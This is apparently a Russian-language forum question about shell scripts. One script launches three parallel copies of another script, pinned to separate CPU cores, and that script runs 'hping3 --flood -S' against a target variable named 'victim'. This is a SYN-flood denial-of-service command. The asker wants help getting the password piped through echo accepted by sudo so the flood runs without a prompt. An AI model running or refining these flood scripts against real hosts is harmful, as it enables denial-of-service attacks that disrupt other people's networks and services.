У меня есть скрипт (A.sh), который запускает другой скрипт (B.sh), в котором мне нужен пароль root для запуска команды.
A.sh:
#!/bin/bash
script=./hping.sh
taskset -c 0 $script > ./test.txt &
taskset -c 1 $script > ./test.txt &
taskset -c 2 $script > ./test.txt &
B.sh (hping.sh)
#!/bin/bash
victim=$1
echo $sudoPW | sudo hping3 -i eth0 -d 128 -S --flood $victim
Проблема в том, что когда A.sh пытается запустить B.sh, он запрашивает пароль root, а затем останавливается и не может получить пароль из консоли.
Как я могу решить это?